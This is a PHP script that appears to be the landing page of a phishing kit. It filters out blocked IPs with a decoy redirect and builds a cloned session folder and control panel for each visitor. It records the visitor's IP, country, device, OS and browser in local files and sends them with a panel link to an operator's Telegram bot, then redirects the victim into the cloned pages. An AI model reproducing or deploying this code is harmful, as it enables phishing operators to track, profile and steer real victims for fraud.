<?php
	error_reporting(0);
    session_start();

	include "./libraries/geoplugin.class.php";
	include "./libraries/UserInfo.php";
	include "./setting/functions.php";
	

    function isBlocked($ip) {
        $blockedIPs = file_get_contents('./panel/blocked_ips.txt');
        return strpos($blockedIPs, $ip) !== false;
    }

    // Get the user's IP address
    $userIP = get_client_ip();

    // Check if the user's IP is blocked
    if (isBlocked($userIP)) {
        // Redirect the blocked user to another page
        header("Location: https://www.superhonda.com/");
        exit();
    }

	$geoplugin = new geoPlugin();
	$geoplugin->locate();
	$ip = get_client_ip();
    $present_time = date("H:i:s"."-"."m/d/y");

    if ($_SERVER['HTTP_HOST'] === "localhost") {
        $_SERVER['HTTP_HOST'] = "127.0.0.1";
    }


    // Generate a unique random number
    $randomNumber = rand(0, 1000000);

   // Create the destination folder name as 'user-randomNumber'
    $destinationDirectory = 'number-account-' . $randomNumber;

    // Define source directory
    $sourceDirectory = 'session';

    // Function to recursively copy directory contents
    function recursivelyCopyDirectory($source, $destination) {
        $dir = opendir($source);
        @mkdir($destination);

        while (false !== ($file = readdir($dir))) {
            if (($file != '.') && ($file != '..')) {
                if (is_dir($source . '/' . $file)) {
                    recursivelyCopyDirectory($source . '/' . $file, $destination . '/' . $file);
                } else {
                    copy($source . '/' . $file, $destination . '/' . $file);
                }
            }
        }
        closedir($dir);
    }

    // Copy the contents of the source directory to the destination directory
    recursivelyCopyDirectory($sourceDirectory, $destinationDirectory);

    // Get the current full URL
    $currentUrl = "https://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

    // Parse the URL to get the path
    $parsedUrl = parse_url($currentUrl);

    // Get the path component
    $path = isset($parsedUrl['path']) ? $parsedUrl['path'] : '';

    // Split the path into segments
    $segments = explode('/', trim($path, '/'));

    // Check if there is at least one segment to use as the first folder
    $firstFolder = !empty($segments[0]) ? $segments[0] : 'default_folder';

    // Construct the new URL using the first folder name
    $newLink = "https://" . $_SERVER['HTTP_HOST'] . "/$firstFolder/".$destinationDirectory."/control-panel/panel.php";

    $user_ip = get_client_ip(). " - " . $geoplugin->countryCode; // Get user's IP address
    $id_user = $destinationDirectory; // Get user's IP address
    $current_page = "In WebSite"; // Get the current page name
    $timestamp =  date("Y-m-d H:i:s");
    $userStatus = "<span class='online'></span>";
    $user_agent =   " DEVICE = " .UserInfo::get_device()." SYSTEM TYPE = ". UserInfo::get_os(). " BROWSER VISIT = ". UserInfo::get_browser();
    $link_panel = $newLink;
    $remove_user_folder = $destinationDirectory;
    $block_user = get_client_ip();

    // Append user information to the user_data.txt file
    $user_data = "$id_user,$current_page,$user_ip,$timestamp,$user_agent,$link_panel,$remove_user_folder,$block_user\n";
    file_put_contents("./panel/get-panel/info-panel.txt", $user_data, FILE_APPEND);

    $_SESSION["panel_control"] = $link_panel;
    $_SESSION["id_user"] = $id_user;

    $user_data = array(
        'userStatus' => $userStatus,
        'id_user' => $id_user,
        'current_page' => $current_page,
        'user_ip' => $user_ip,
        'timestamp' => $timestamp,
        'user_agent' => $user_agent,
        'redirect_user' => " " 
    );

    // Encode the array as JSON
    $json_data = json_encode($user_data);
    $file_path = "./$destinationDirectory/control-panel/user-action/data.json";
    file_put_contents($file_path, $json_data);

    // Send Data To Telegram :
    $message =
    "👥========= VISIT =========👥\r\n" . 
    "📍IP - ".get_client_ip()."\t\t | \t\t". 
    $geoplugin->countryCode ."\r\n". 
    "💻 DEVICE = " .UserInfo::get_device()."\r\n".
    "♻️ SYSTEM TYPE = ". UserInfo::get_os()."\r\n". 
    "🌐 BROWSER VISIT = ". UserInfo::get_browser()."\r\n".
    "DATE AND TIME = ". $present_time ."\r\n";

    $bot_url  = TOKEN;
    $chat_id  = CHATID;
    $host = $link_panel;
    
    $keyboard = json_encode([
        "inline_keyboard" => [

                [
                    [
                        "text" => '🕹 PaneL Control For : [ ' . get_client_ip() . " - " . $geoplugin->countryCode.' ]',
                        "url" => "$link_panel"
                    ]
    
                ],
        ]
    ]);

    $parameters = array(
        "chat_id" => $chat_id,
        "text" => $message,
        'reply_markup' => $keyboard
    );

    $send = ($parameters);
    $website_telegram = "https://api.telegram.org/bot{$bot_url}";
    $ch = curl_init($website_telegram . '/sendMessage');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    curl_close($ch);

    // Save Data In Document Text :
    $text_to_result = "========= VISIT =========\r\n" . 
    "IP - ".get_client_ip()."\t\t | \t\t". 
    $geoplugin->countryCode ."\r\n". 
    " DEVICE = " .UserInfo::get_device()."\r\n".
    " SYSTEM TYPE = ". UserInfo::get_os()."\r\n". 
    " BROWSER VISIT = ". UserInfo::get_browser()."\r\n".
    "DATE AND TIME = ". $present_time ."\r\n";

    $file = fopen("./file/file.txt", "a");
    fwrite($file, $text_to_result. "\n");
    fclose($file);
            

    // Save Data In Document Text :
    $text_to_result = "========= VISIT =========\r\n" . 
    "IP - ".get_client_ip()."\t\t | \t\t". 
    $geoplugin->countryCode ."\r\n". 
    " DEVICE = " .UserInfo::get_device()."\r\n".
    " SYSTEM TYPE = ". UserInfo::get_os()."\r\n". 
    " BROWSER VISIT = ". UserInfo::get_browser()."\r\n".
    "DATE AND TIME = ". $present_time ."\r\n";

    $file = fopen("./file/file.txt", "a");
    fwrite($file, $text_to_result. "\n");
    fclose($file);
    
    echo 
    "<script>
        window.location = './$destinationDirectory';
    </script>";

exit;
?>